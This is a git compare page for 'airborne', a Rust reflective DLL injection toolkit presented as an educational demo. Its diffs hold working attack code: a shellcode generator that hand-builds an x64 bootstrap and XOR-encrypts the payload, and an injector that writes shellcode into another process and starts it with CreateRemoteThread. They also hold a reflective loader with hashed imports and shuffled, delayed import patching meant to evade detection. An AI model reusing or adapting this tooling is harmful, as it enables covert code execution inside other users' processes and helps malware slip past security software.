Compare commits

...

10 Commits

Author SHA1 Message Date
17ms
4a6aff2a34 update name change to docs 2024-02-21 16:30:16 +02:00
17ms
7a40f17a57 rename cryptoutils lib 2024-02-21 16:29:18 +02:00
17ms
030bf89a92 replace hardcoded parameters with u32 bitflag 2024-02-16 23:18:59 +02:00
17ms
2a16a674b3 remove clippy warnings & ensure panic after faulty stage 2024-02-16 00:43:33 +02:00
17ms
5fc8e8a005 more error propagation 2024-02-16 00:12:11 +02:00
17ms
bad17f630f improved error propagation & cleaned bootstrap layout 2024-02-13 23:33:38 +02:00
17ms
2508c1826a removed possibly conflicting short option name 2024-02-13 22:17:07 +02:00
17ms
7df93acd46 note about payload parameters 2024-02-13 21:32:48 +02:00
17ms
9fd511cb62 updated the names of the workspace subprojects 2024-02-13 21:30:05 +02:00
17ms
10cbe12a39 updated docs with example scenarios 2024-02-13 21:02:51 +02:00
16 changed files with 410 additions and 312 deletions

BIN
.github/docs/dllmain-exec.png vendored Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 213 KiB

BIN
.github/docs/userfunction-exec.png vendored Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 214 KiB

70
Cargo.lock generated
View File

@ -3,41 +3,7 @@
version = 3
[[package]]
name = "airborne-generator"
version = "0.1.0"
dependencies = [
"airborne-utils",
"clap",
"rand",
"windows-sys",
]
[[package]]
name = "airborne-injector"
version = "0.1.0"
dependencies = [
"airborne-utils",
"lexopt",
"windows-sys",
]
[[package]]
name = "airborne-payload"
version = "0.1.0"
dependencies = [
"windows-sys",
]
[[package]]
name = "airborne-reflective_loader"
version = "0.1.0"
dependencies = [
"airborne-utils",
"windows-sys",
]
[[package]]
name = "airborne-utils"
name = "airborne-common"
version = "0.1.0"
[[package]]
@ -140,6 +106,16 @@ version = "1.0.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "acbf1af155f9b9ef647e42cdc158db4b64a1b61f743629225fde6f3e0be2a7c7"
[[package]]
name = "generator"
version = "0.1.0"
dependencies = [
"airborne-common",
"clap",
"rand",
"windows-sys",
]
[[package]]
name = "getrandom"
version = "0.2.12"
@ -169,6 +145,22 @@ version = "0.2.152"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "13e3bf6590cbc649f4d1a3eefc9d5d6eb746f5200ffb04e5e142700b8faa56e7"
[[package]]
name = "poc-injector"
version = "0.1.0"
dependencies = [
"airborne-common",
"lexopt",
"windows-sys",
]
[[package]]
name = "poc-payload"
version = "0.1.0"
dependencies = [
"windows-sys",
]
[[package]]
name = "ppv-lite86"
version = "0.2.17"
@ -223,6 +215,14 @@ dependencies = [
"getrandom",
]
[[package]]
name = "reflective-loader"
version = "0.1.0"
dependencies = [
"airborne-common",
"windows-sys",
]
[[package]]
name = "strsim"
version = "0.10.0"

View File

@ -6,7 +6,7 @@ members = [
"payload",
"generator",
"reflective_loader",
"utils"
"common"
]
[profile.release]

View File

@ -9,30 +9,55 @@ Reflective DLL injection demo for fun and education. In practical applications,
```shell
.
├── generator # Shellcode generator (ties together bootstrap, loader, payload, and user data)
├── injector # PoC injector
├── payload # PoC payload (DllMain and PrintMessage)
└── reflective_loader # sRDI implementation
├── injector # PoC injector (CreateRemoteThread)
├── payload # PoC payload (calc.exe or MessageBoxW based on generator's flag)
├── reflective_loader # sRDI implementation
└── common # Common XOR and hashing functions
```
### Features
- Compact filesize (~14 kB)
- ~14 kB reflective loader
- Hashed import names & indirect function calls
- Randomized payload export iteration & IAT patching
- XOR encryption for shellcode (shellcode generation specific keys)
Check out [Alcatraz](https://github.com/weak1337/Alcatraz/) for additional obfuscation for the shellcode/injector.
- XOR encrypted payload shellcode
- Shuffled and delayed IDT iteration (during IAT patching)
### Usage
The following command compiles the DLLs and executables into `target`:
The following command compiles the DLLs and executables into `target/release/`:
```shell
$ cargo build --release
```
1. Generate shellcode containing the loader and the payload
2. Inject the created shellcode into target
1. Generate shellcode containing the loader and the payload:
```
Usage: generator.exe [OPTIONS] --loader <LOADER_PATH> --payload <PAYLOAD_PATH> --function <FUNCTION_NAME> --parameter <PARAMETER> --output <OUTPUT_PATH>
Options:
-l, --loader <LOADER_PATH> Path to the sRDI loader DLL
-p, --payload <PAYLOAD_PATH> Path to the payload DLL
-f, --function <FUNCTION_NAME> Name of the function to call in the payload DLL
-n, --parameter <PARAMETER> Parameter to pass to the function
-o, --output <OUTPUT_PATH> Path to the output file
--flag <FLAG> Flag to pass to the loader (by default DllMain is called) [default: 0]
-h, --help Print help
-V, --version Print version
```
2. Inject the created shellcode into target:
```
Usage: poc-injector.exe -p <PROCESS_NAME> -s <SHELLCODE_PATH> -k <KEYFILE_PATH>
```
3. Depending on the flag passed to the generator, either `DllMain` with `DLL_PROCESS_ATTACH` or user function with custom parameter is called:
<div align="center">
<img src=".github/docs/dllmain-exec.png" alt="Payload's DllMain execution with the default flag (0)" width="90%">
<img src=".github/docs/userfunction-exec.png" alt="Payload's user defined function execution with the modified flag (1)" width="90%">
</div>
### Disclaimer

View File

@ -1,5 +1,5 @@
[package]
name = "airborne-utils"
name = "airborne-common"
version = "0.1.0"
edition = "2021"

View File

@ -2,8 +2,44 @@
// gen_xor_key isn't required to be a shared module, as it's only used in the shellcode generator
const DELAY_FLAG: u32 = 0b0001;
const SHUFFLE_FLAG: u32 = 0b0010;
const UFN_FLAG: u32 = 0b0100;
const HASH_KEY: usize = 5381;
pub struct Flags {
pub delay: bool,
pub shuffle: bool,
pub ufn: bool,
}
pub fn parse_u32_flag(flag: u32) -> Flags {
Flags {
delay: flag & DELAY_FLAG != 0,
shuffle: flag & SHUFFLE_FLAG != 0,
ufn: flag & UFN_FLAG != 0,
}
}
pub fn create_u32_flag(delay: bool, shuffle: bool, ufn: bool) -> u32 {
let mut flags = 0;
if delay {
flags |= DELAY_FLAG;
}
if shuffle {
flags |= SHUFFLE_FLAG;
}
if ufn {
flags |= UFN_FLAG;
}
flags
}
pub fn xor_cipher(data: &mut [u8], key: &[u8]) {
for (i, byte) in data.iter_mut().enumerate() {
*byte ^= key[i % key.len()];

View File

@ -1,12 +1,12 @@
[package]
name = "airborne-generator"
name = "generator"
version = "0.1.0"
edition = "2021"
[dependencies]
clap = {version = "4.4.18", features = ["derive"] }
clap = { version = "4.4.18", features = ["derive"] }
rand = "0.8.5"
airborne-utils = { path = "../utils" }
airborne-common = { path = "../common" }
[dependencies.windows-sys]
version = "0.52.0"

View File

@ -1,7 +1,10 @@
use std::{collections::BTreeMap, ffi::CStr, fs, path::PathBuf, slice::from_raw_parts};
use std::{
collections::BTreeMap, error::Error, ffi::CStr, fs, path::PathBuf, process::exit,
slice::from_raw_parts,
};
use airborne_utils::calc_hash;
use clap::Parser;
use airborne_common::calc_hash;
use clap::{ArgAction, Parser};
use windows_sys::Win32::{
System::Diagnostics::Debug::IMAGE_NT_HEADERS64,
System::{
@ -28,9 +31,15 @@ struct Args {
/// Path to the output file
#[arg(short, long = "output")]
output_path: PathBuf,
/// Flag to pass to the loader (by default DllMain is called)
#[arg(short, long, default_value_t = 0)]
flag: u32, // preferably set type as u32 here instead of casting it when generating bootstrap
/// Disable randomized delays during IAT patching
#[arg(short, long, action = ArgAction::SetFalse, default_value_t = true)]
no_delay: bool,
/// Disable IAT import descriptor shuffling
#[arg(short, long, action = ArgAction::SetFalse, default_value_t = true)]
no_shuffle: bool,
/// Call payload's user defined function instead of DllMain
#[arg(short, long, action = ArgAction::SetTrue, default_value_t = false)]
ufn: bool,
}
// NOTE: must be updated accordingly if the loader name or the bootstrap code is modified
@ -40,9 +49,13 @@ const BOOTSTRAP_TOTAL_LENGTH: u32 = 79;
fn main() {
let args = Args::parse();
// (bool, bool, bool) -(OR)-> u32
let combined_flag = airborne_common::create_u32_flag(args.no_delay, args.no_shuffle, args.ufn);
// preserve the path from being dropped
let output_path = args.output_path.clone();
// prepare paths for pretty printing
let loader_path_str = args.loader_path.to_str().unwrap();
let payload_path_str = args.payload_path.to_str().unwrap();
let output_path_str = args.output_path.to_str().unwrap();
@ -51,29 +64,66 @@ fn main() {
println!("[+] payload: {}", payload_path_str);
println!("[+] output: {}", output_path_str);
let mut loader_b = fs::read(args.loader_path).expect("failed to read sRDI DLL");
let mut payload_b = fs::read(args.payload_path).expect("failed to read payload DLL");
let mut loader_b = match fs::read(args.loader_path) {
Ok(b) => b,
Err(e) => {
eprintln!("[-] failed to read loader DLL: {}", e);
exit(1);
}
};
let mut payload_b = match fs::read(args.payload_path) {
Ok(b) => b,
Err(e) => {
eprintln!("[-] failed to read payload DLL: {}", e);
exit(1);
}
};
let function_hash = calc_hash(args.function_name.as_bytes());
let mut shellcode = gen_sc(
let mut shellcode = match gen_sc(
&mut loader_b,
&mut payload_b,
function_hash,
args.parameter,
args.flag,
);
combined_flag,
) {
Ok(sc) => sc,
Err(e) => {
eprintln!("[-] failed to generate shellcode: {}", e);
exit(1);
}
};
println!("\n[+] xor'ing shellcode");
let key = gen_xor_key(shellcode.len());
airborne_utils::xor_cipher(&mut shellcode, &key);
airborne_common::xor_cipher(&mut shellcode, &key);
let mut key_output_path = output_path.clone().into_os_string();
key_output_path.push(".key");
// prepare path for pretty printing
let key_output_path_str = key_output_path.to_str().unwrap();
println!("\n[+] writing shellcode to '{}'", output_path_str);
fs::write(output_path, shellcode).expect("failed to write shellcode to output file");
println!("[+] writing xor key to '{}'", key_output_path_str);
fs::write(key_output_path, key).expect("failed to write xor key to output file");
println!(
"\n[+] writing shellcode to '{}' and xor key to '{}'",
output_path_str, key_output_path_str
);
match fs::write(output_path, shellcode) {
Ok(_) => (),
Err(e) => {
eprintln!("[-] failed to write shellcode to output file: {}", e);
exit(1);
}
};
match fs::write(key_output_path, key) {
Ok(_) => (),
Err(e) => {
eprintln!("[-] failed to write xor key to output file: {}", e);
exit(1);
}
};
}
fn gen_sc(
@ -82,159 +132,117 @@ fn gen_sc(
function_hash: u32,
parameter: String,
flag: u32,
) -> Vec<u8> {
let loader_addr = export_ptr_by_name(loader_b.as_mut_ptr(), LOADER_ENTRY_NAME)
.expect("failed to get loader entry point");
) -> Result<Vec<u8>, Box<dyn Error>> {
let loader_addr = export_ptr_by_name(loader_b.as_mut_ptr(), LOADER_ENTRY_NAME)?;
let loader_offset = loader_addr as usize - loader_b.as_mut_ptr() as usize;
println!("[+] loader offset: {:#x}", loader_offset);
// 64-bit bootstrap source: https:// github.com/memN0ps/srdi-rs/blob/main/generate_shellcode
// TODO: clean up & fix 'call to push immediately after creation' compiler warning by
// calculating little-endian representations of variables (flag, parameter length & offset,
// function hash, payload offset, loader address) beforehand
let mut bootstrap: Vec<u8> = Vec::new();
/*
1.) save the current location in memory for calculating offsets later
*/
// call 0x00 (this will push the address of the next function to the stack)
bootstrap.push(0xe8);
bootstrap.push(0x00);
bootstrap.push(0x00);
bootstrap.push(0x00);
bootstrap.push(0x00);
// pop rcx - this will pop the value we saved on the stack into rcx to capture our current location in memory
bootstrap.push(0x59);
// mov r8, rcx - copy the value of rcx into r8 before we start modifying RCX
bootstrap.push(0x49);
bootstrap.push(0x89);
bootstrap.push(0xc8);
/*
2.) align the stack and create shadow space
*/
// push rsi - save original value
bootstrap.push(0x56);
// mov rsi, rsp - store our current stack pointer for later
bootstrap.push(0x48);
bootstrap.push(0x89);
bootstrap.push(0xe6);
// and rsp, 0x0FFFFFFFFFFFFFFF0 - align the stack to 16 bytes
bootstrap.push(0x48);
bootstrap.push(0x83);
bootstrap.push(0xe4);
bootstrap.push(0xf0);
// sub rsp, 0x30 (48 bytes) - create shadow space on the stack, which is required for x64. A minimum of 32 bytes for rcx, rdx, r8, r9. Then other params on stack
bootstrap.push(0x48);
bootstrap.push(0x83);
bootstrap.push(0xec);
bootstrap.push(6 * 8); // 6 args that are 8 bytes each
/*
3.) setup reflective loader parameters: place the last 5th and 6th arguments on the stack (rcx, rdx, r8, and r9 are already on the stack as the first 4 arguments)
*/
// mov qword ptr [rsp + 0x20], rcx (shellcode base + 5 bytes) - (32 bytes) Push in arg 5
bootstrap.push(0x48);
bootstrap.push(0x89);
bootstrap.push(0x4C);
bootstrap.push(0x24);
bootstrap.push(4 * 8); // 5th arg
// sub qword ptr [rsp + 0x20], 0x5 (shellcode base) - modify the 5th arg to get the real shellcode base
bootstrap.push(0x48);
bootstrap.push(0x83);
bootstrap.push(0x6C);
bootstrap.push(0x24);
bootstrap.push(4 * 8); // 5th arg
bootstrap.push(5); // minus 5 bytes because call 0x00 is 5 bytes to get the allocate memory from VirtualAllocEx from injector
// mov dword ptr [rsp + 0x28], <flag> - (40 bytes) Push arg 6 just above shadow space
bootstrap.push(0xC7);
bootstrap.push(0x44);
bootstrap.push(0x24);
bootstrap.push(5 * 8); // 6th arg
bootstrap.append(&mut flag.to_le_bytes().to_vec().clone());
/*
4.) setup reflective loader parameters: 1st -> rcx, 2nd -> rdx, 3rd -> r8, 4th -> r9
*/
// mov r9, <parameter_length> - copy the 4th parameter, which is the length of the user data into r9
bootstrap.push(0x41);
bootstrap.push(0xb9);
let parameter_length = parameter.len() as u32; // This must u32 or it breaks assembly
bootstrap.append(&mut parameter_length.to_le_bytes().to_vec().clone());
// add r8, <parameter_offset> + <payload_length> - copy the 3rd parameter, which is address of the user function into r8 after calculation
bootstrap.push(0x49);
bootstrap.push(0x81);
bootstrap.push(0xc0); // minus 5 because of the call 0x00 instruction
let parameter_offset =
(BOOTSTRAP_TOTAL_LENGTH - 5) + loader_b.len() as u32 + payload_b.len() as u32;
bootstrap.append(&mut parameter_offset.to_le_bytes().to_vec().clone());
BOOTSTRAP_TOTAL_LENGTH - 5 + loader_b.len() as u32 + payload_b.len() as u32;
let payload_offset = BOOTSTRAP_TOTAL_LENGTH - 5 + loader_b.len() as u32;
// mov edx, <prameter_hash> - copy the 2nd parameter, which is the hash of the user function into edx
bootstrap.push(0xba);
bootstrap.append(&mut function_hash.to_le_bytes().to_vec().clone());
// 1.) save the current location in memory for calculating offsets later
let b1: Vec<u8> = vec![
0xe8, 0x00, 0x00, 0x00, 0x00, // call 0x00
0x59, // pop rcx
0x49, 0x89, 0xc8, // mov r8, rcx
];
// add rcx, <payload_offset> - copy the 1st parameter, which is the address of the user dll into rcx after calculation
bootstrap.push(0x48);
bootstrap.push(0x81);
bootstrap.push(0xc1); // minus 5 because of the call 0x00 instruction
let payload_offset = (BOOTSTRAP_TOTAL_LENGTH - 5) + loader_b.len() as u32; // mut be u32 or it breaks assembly
bootstrap.append(&mut payload_offset.to_le_bytes().to_vec().clone());
// 2.) align the stack and create shadow space
let b2: Vec<u8> = vec![
0x56, // push rsi
0x48,
0x89,
0xe6, // mov rsi, rsp
0x48,
0x83,
0xe4,
0xf0, // and rsp, 0x0FFFFFFFFFFFFFFF0
0x48,
0x83,
0xec,
6 * 8, // sub rsp, 0x30
];
/*
5.) call the reflective loader
*/
// 3.) setup reflective loader parameters: place the last 5th and 6th arguments on the stack
let b3: Vec<u8> = vec![
0x48,
0x89,
0x4C,
0x24,
4 * 8, // mov qword ptr [rsp + 0x20], rcx
0x48,
0x83,
0x6C,
0x24,
4 * 8,
5, // sub qword ptr [rsp + 0x20], 0x5
0xC7,
0x44,
0x24,
5 * 8, // mov dword ptr [rsp + 0x28], <flag>
]
.into_iter()
.chain(flag.to_le_bytes().to_vec())
.collect();
// call <loader_offset> - call the reflective loader address after calculation
bootstrap.push(0xe8);
let loader_address =
(BOOTSTRAP_TOTAL_LENGTH - bootstrap.len() as u32 - 4) + loader_offset as u32; // must be u32 or it breaks assembly
bootstrap.append(&mut loader_address.to_le_bytes().to_vec().clone());
// 4.) setup reflective loader parameters: 1st -> rcx, 2nd -> rdx, 3rd -> r8, 4th -> r9
let b4: Vec<u8> = vec![0x41, 0xb9]
.into_iter()
.chain((parameter.len() as u32).to_le_bytes().to_vec())
.chain(vec![
0x49, 0x81, 0xc0, // add r8, <parameter_offset> + <payload_length>
])
.chain(parameter_offset.to_le_bytes().to_vec())
.chain(vec![
0xba, // mov edx, <prameter_hash>
])
.chain(function_hash.to_le_bytes().to_vec())
.chain(vec![
0x48, 0x81, 0xc1, // add rcx, <payload_offset>
])
.chain(payload_offset.to_le_bytes().to_vec())
.collect();
// padding
bootstrap.push(0x90);
bootstrap.push(0x90);
// 5.) call the reflective loader
let bootstrap_len = b1.len() + b2.len() + b3.len() + b4.len() + 1;
let loader_addr = (BOOTSTRAP_TOTAL_LENGTH - bootstrap_len as u32 - 4) + loader_offset as u32;
let b5: Vec<u8> = vec![
0xe8, // call <loader_offset>
]
.into_iter()
.chain(loader_addr.to_le_bytes().to_vec())
.chain(vec![
0x90, 0x90, // padding
])
.collect();
/*
6.) restore the stack and return to the original location (caller)
*/
// 6.) restore the stack and return to the original location (caller)
let b6: Vec<u8> = vec![
0x48, 0x89, 0xf4, // mov rsp, rsi
0x5e, // pop rsi
0xc3, // ret
0x90, 0x90, // padding
];
// mov rsp, rsi - reset original stack pointer
bootstrap.push(0x48);
bootstrap.push(0x89);
bootstrap.push(0xf4);
// pop rsi - put things back where they were left
bootstrap.push(0x5e);
// ret - return to caller and resume execution flow (avoids crashing process)
bootstrap.push(0xc3);
// padding
bootstrap.push(0x90);
bootstrap.push(0x90);
let mut bootstrap: Vec<u8> = b1
.into_iter()
.chain(b2)
.chain(b3)
.chain(b4)
.chain(b5)
.chain(b6)
.collect();
if bootstrap.len() != BOOTSTRAP_TOTAL_LENGTH as usize {
panic!("Bootstrap length is not correct, please modify the BOOTSTRAP_TOTAL_LEN constant in the source");
} else {
println!("[+] bootstrap size: {}", bootstrap.len());
return Err("invalid bootstrap length".into());
}
println!("[+] reflective loader size: {}", loader_b.len());
println!("[+] payload size: {}", payload_b.len());
println!("[+] bootstrap size: {} bytes", bootstrap.len());
println!("[+] reflective loader size: {} kB", loader_b.len() / 1024);
println!("[+] payload size: {} kB", payload_b.len() / 1024);
let mut shellcode = Vec::new();
@ -251,7 +259,7 @@ fn gen_sc(
- user data
*/
println!("\n[+] total shellcode size: {}", shellcode.len());
println!("\n[+] total shellcode size: {} kB", shellcode.len() / 1024);
println!("\n[+] loader(payload_dll_ptr: *mut c_void, function_hash: u32, user_data_ptr: *mut c_void, user_data_len: u32, shellcode_bin_ptr: *mut c_void, flag: u32)");
println!(
"[+] arg1: rcx, arg2: rdx, arg3: r8, arg4: r9, arg5: [rsp + 0x20], arg6: [rsp + 0x28]"
@ -265,7 +273,7 @@ fn gen_sc(
flag
);
shellcode
Ok(shellcode)
}
fn gen_xor_key(keysize: usize) -> Vec<u8> {
@ -278,61 +286,64 @@ fn gen_xor_key(keysize: usize) -> Vec<u8> {
key
}
fn export_ptr_by_name(base_ptr: *mut u8, name: &str) -> Option<*mut u8> {
for (e_name, addr) in unsafe { get_exports(base_ptr) } {
fn export_ptr_by_name(base_ptr: *mut u8, name: &str) -> Result<*mut u8, Box<dyn Error>> {
for (e_name, addr) in unsafe { get_exports(base_ptr)? } {
if e_name == name {
return Some(addr as _);
return Ok(addr as _);
}
}
None
Err(format!("failed to find export by name: {}", name).into())
}
unsafe fn get_exports(base_ptr: *mut u8) -> BTreeMap<String, usize> {
unsafe fn get_exports(base_ptr: *mut u8) -> Result<BTreeMap<String, usize>, Box<dyn Error>> {
let mut exports = BTreeMap::new();
let dos_header_ptr = base_ptr as *mut IMAGE_DOS_HEADER;
if (*dos_header_ptr).e_magic != IMAGE_DOS_SIGNATURE {
panic!("Failed to get DOS header");
return Err("failed to get DOS header for the export".into());
}
let nt_header_ptr = rva_mut::<IMAGE_NT_HEADERS64>(base_ptr, (*dos_header_ptr).e_lfanew as _);
let export_dir_ptr = rva_to_offset(
base_ptr as _,
&*nt_header_ptr,
(*nt_header_ptr).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize]
.VirtualAddress,
) as *mut IMAGE_EXPORT_DIRECTORY;
)? as *mut IMAGE_EXPORT_DIRECTORY;
let export_names = from_raw_parts(
rva_to_offset(
base_ptr as _,
&*nt_header_ptr,
(*export_dir_ptr).AddressOfNames,
) as *const u32,
)? as *const u32,
(*export_dir_ptr).NumberOfNames as _,
);
let export_functions = from_raw_parts(
rva_to_offset(
base_ptr as _,
&*nt_header_ptr,
(*export_dir_ptr).AddressOfFunctions,
) as *const u32,
)? as *const u32,
(*export_dir_ptr).NumberOfFunctions as _,
);
let export_ordinals = from_raw_parts(
rva_to_offset(
base_ptr as _,
&*nt_header_ptr,
(*export_dir_ptr).AddressOfNameOrdinals,
) as *const u16,
)? as *const u16,
(*export_dir_ptr).NumberOfNames as _,
);
for i in 0..(*export_dir_ptr).NumberOfNames as usize {
let export_name =
rva_to_offset(base_ptr as _, &*nt_header_ptr, export_names[i]) as *const i8;
rva_to_offset(base_ptr as _, &*nt_header_ptr, export_names[i])? as *const i8;
if let Ok(export_name) = CStr::from_ptr(export_name).to_str() {
let export_ordinal = export_ordinals[i] as usize;
@ -342,19 +353,23 @@ unsafe fn get_exports(base_ptr: *mut u8) -> BTreeMap<String, usize> {
base_ptr as _,
&*nt_header_ptr,
export_functions[export_ordinal],
),
)?,
);
}
}
exports
Ok(exports)
}
fn rva_mut<T>(base_ptr: *mut u8, rva: usize) -> *mut T {
(base_ptr as usize + rva) as *mut T
}
unsafe fn rva_to_offset(base: usize, nt_header_ref: &IMAGE_NT_HEADERS64, mut rva: u32) -> usize {
unsafe fn rva_to_offset(
base: usize,
nt_header_ref: &IMAGE_NT_HEADERS64,
mut rva: u32,
) -> Result<usize, Box<dyn Error>> {
let section_header_ptr = rva_mut::<IMAGE_SECTION_HEADER>(
&nt_header_ref.OptionalHeader as *const _ as _,
nt_header_ref.FileHeader.SizeOfOptionalHeader as _,
@ -371,9 +386,9 @@ unsafe fn rva_to_offset(base: usize, nt_header_ref: &IMAGE_NT_HEADERS64, mut rva
rva -= (*section_header_ptr.add(i)).VirtualAddress;
rva += (*section_header_ptr.add(i)).PointerToRawData;
return base + rva as usize;
return Ok(base + rva as usize);
}
}
0
Err(format!("failed to find section for RVA {:#x}", rva).into())
}

View File

@ -1,11 +1,11 @@
[package]
name = "airborne-injector"
name = "poc-injector"
version = "0.1.0"
edition = "2021"
[dependencies]
lexopt = "0.3.0"
airborne-utils = { path = "../utils" }
airborne-common = { path = "../common" }
[dependencies.windows-sys]
version = "0.52.0"

View File

@ -1,4 +1,4 @@
use std::{mem::transmute, ptr::null_mut};
use std::{error::Error, mem::transmute, ptr::null_mut};
use windows_sys::Win32::{
Foundation::{CloseHandle, INVALID_HANDLE_VALUE},
@ -9,13 +9,13 @@ use windows_sys::Win32::{
},
};
pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) {
pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) -> Result<(), Box<dyn Error>> {
let dll_len = dll_vec.len();
let h_process = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
if h_process == INVALID_HANDLE_VALUE {
panic!("failed to open process");
return Err(format!("failed to open process {}", pid).into());
}
let base_addr_ptr = VirtualAllocEx(
@ -27,7 +27,7 @@ pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) {
);
if base_addr_ptr.is_null() {
panic!("failed to allocate memory");
return Err(format!("failed to allocate memory into process {}", pid).into());
}
println!("[+] allocated memory at {:p}", base_addr_ptr);
@ -40,7 +40,7 @@ pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) {
null_mut(),
) == 0
{
panic!("failed to write process memory");
return Err(format!("failed to write process memory into process {}", pid).into());
}
let h_thread = CreateRemoteThread(
@ -54,9 +54,11 @@ pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) {
);
if h_thread == INVALID_HANDLE_VALUE {
panic!("failed to create remote thread");
return Err(format!("failed to create remote thread into process {}", pid).into());
}
CloseHandle(h_thread);
CloseHandle(h_process);
Ok(())
}

View File

@ -15,24 +15,51 @@ struct Args {
fn main() {
let args = parse_args();
let proc_id =
unsafe { process::iterate_procs(&args.procname).expect("failed to find matching PID") };
let proc_id = unsafe {
match process::iterate_procs(&args.procname) {
Ok(Some(pid)) => pid,
Ok(None) => {
println!("[!] process with name {} not found", args.procname);
exit(1);
}
Err(e) => {
println!("[!] error during process iteration: {}", e);
exit(1);
}
}
};
let mut shellcode = fs::read(&args.shellcode_path).expect("failed to read shellcode");
let mut shellcode = match fs::read(&args.shellcode_path) {
Ok(shellcode) => shellcode,
Err(e) => {
println!("[!] failed to read shellcode: {}", e);
exit(1);
}
};
let keyfile = match fs::read(&args.keyfile_path) {
Ok(keyfile) => keyfile,
Err(e) => {
println!("[!] failed to read xor keyfile: {}", e);
exit(1);
}
};
if args.offset >= shellcode.len() {
println!("[!] offset is greater or equal than shellcode length");
exit(1);
}
let keyfile = fs::read(&args.keyfile_path).expect("failed to read keyfile");
println!("[+] xor'ing shellcode");
airborne_utils::xor_cipher(&mut shellcode, &keyfile);
airborne_common::xor_cipher(&mut shellcode, &keyfile);
println!("[+] injecting shellcode into {}", args.procname);
unsafe { inject::inject(proc_id, shellcode) };
println!("[+] done");
unsafe {
match inject::inject(proc_id, shellcode) {
Ok(_) => println!("[+] done"),
Err(e) => println!("[!] failure during injection: {}", e),
}
};
}
fn parse_args() -> Args {
@ -85,5 +112,5 @@ fn parse_args() -> Args {
}
fn print_usage() {
println!("Usage: injector.exe -p <process_name> -s <shellcode_path> -k <keyfile_path>");
println!("Usage: poc-injector.exe -p <PROCESS_NAME> -s <SHELLCODE_PATH> -k <KEYFILE_PATH>");
}

View File

@ -1,4 +1,4 @@
use std::ffi::CStr;
use std::{error::Error, ffi::CStr};
use windows_sys::Win32::{
Foundation::{CloseHandle, INVALID_HANDLE_VALUE},
@ -7,31 +7,31 @@ use windows_sys::Win32::{
},
};
fn snapshot() -> isize {
fn snapshot() -> Result<isize, Box<dyn Error>> {
let snapshot = unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) };
if snapshot == INVALID_HANDLE_VALUE {
panic!("failed to create snapshot");
return Err("failed to create toolhelp snapshot".into());
}
snapshot
Ok(snapshot)
}
unsafe fn first_proc_entry(snapshot: isize) -> PROCESSENTRY32 {
unsafe fn first_proc_entry(snapshot: isize) -> Result<PROCESSENTRY32, Box<dyn Error>> {
let mut pe: PROCESSENTRY32 = std::mem::zeroed();
pe.dwSize = std::mem::size_of::<PROCESSENTRY32>() as _;
if Process32First(snapshot, &mut pe) == 0 {
CloseHandle(snapshot);
panic!("failed to get first process entry");
return Err("failed to get first process entry".into());
}
pe
Ok(pe)
}
pub unsafe fn iterate_procs(target_name: &str) -> Option<u32> {
let snapshot = snapshot();
let mut pe = first_proc_entry(snapshot);
pub unsafe fn iterate_procs(target_name: &str) -> Result<Option<u32>, Box<dyn Error>> {
let snapshot = snapshot()?;
let mut pe = first_proc_entry(snapshot)?;
loop {
let proc_name = CStr::from_ptr(pe.szExeFile.as_ptr() as _)
@ -43,14 +43,15 @@ pub unsafe fn iterate_procs(target_name: &str) -> Option<u32> {
println!("[+] {}: {}", pid, proc_name);
CloseHandle(snapshot);
return Some(pid);
} else if Process32Next(snapshot, &mut pe) == 0 {
return Ok(Some(pid));
}
if Process32Next(snapshot, &mut pe) == 0 {
break;
}
}
println!("[-] process with name {} not found", target_name);
CloseHandle(snapshot);
None
Ok(None)
}

View File

@ -1,5 +1,5 @@
[package]
name = "airborne-payload"
name = "poc-payload"
version = "0.1.0"
edition = "2021"

View File

@ -1,5 +1,5 @@
[package]
name = "airborne-reflective_loader"
name = "reflective-loader"
version = "0.1.0"
edition = "2021"
@ -7,7 +7,7 @@ edition = "2021"
crate-type = ["cdylib"]
[dependencies]
airborne-utils = { path = "../utils" }
airborne-common = { path = "../common" }
[dependencies.windows-sys]
version = "0.52.0"

View File

@ -10,6 +10,7 @@ use core::{
slice::from_raw_parts,
};
use airborne_common::Flags;
use windows_sys::{
core::PWSTR,
Win32::{
@ -41,10 +42,6 @@ use windows_sys::{
use crate::memory::*;
// TODO: replace with parameters from the shellcode generator
const SHUFFLE_IMPORTS: bool = true;
const DELAY_IMPORTS: bool = true;
const MAX_IMPORT_DELAY_MS: u64 = 2000;
#[cfg(not(test))]
@ -53,36 +50,15 @@ fn panic(_info: &core::panic::PanicInfo) -> ! {
loop {}
}
// TODO: add to blog references
// https://research.ijcaonline.org/volume113/number8/pxc3901710.pdf
// TODO: check if i8 types can be replaced with u8 types (especially in pointers)
// TODO: replace plain returns with Result<T, E> and propagate errors until panic in the loader function
// TODO: remove _fltused and _DllMainCRTStartup (and uncomment DllMain) if deemed unnecessary after testing
#[export_name = "_fltused"]
static _FLTUSED: i32 = 0;
#[no_mangle]
#[allow(non_snake_case)]
pub unsafe extern "system" fn _DllMainCRTStartup(
_module: HMODULE,
_call_reason: u32,
_reserved: *mut c_void,
) -> BOOL {
#[allow(non_snake_case, clippy::missing_safety_doc)]
pub unsafe extern "system" fn DllMain(_module: HMODULE, _reason: u32, _reserved: *mut u8) -> BOOL {
1
}
//#[no_mangle]
//#[allow(non_snake_case)]
//pub unsafe extern "system" fn DllMain(_module: HMODULE, _reason: u32, _reserved: *mut u8) -> BOOL {
// 1
//}
#[link_section = ".text"]
#[no_mangle]
#[allow(clippy::missing_safety_doc)]
pub unsafe extern "system" fn loader(
payload_dll: *mut c_void,
function_hash: u32,
@ -91,6 +67,8 @@ pub unsafe extern "system" fn loader(
_shellcode_bin: *mut c_void,
flags: u32,
) {
let flags = airborne_common::parse_u32_flag(flags);
/*
1.) locate the required functions and modules from exports with their hashed names
*/
@ -121,11 +99,8 @@ pub unsafe extern "system" fn loader(
as *mut IMAGE_NT_HEADERS64;
let module_img_size = (*module_nt_headers_ptr).OptionalHeader.SizeOfImage as usize;
let preferred_base_ptr = (*module_nt_headers_ptr).OptionalHeader.ImageBase as *mut c_void;
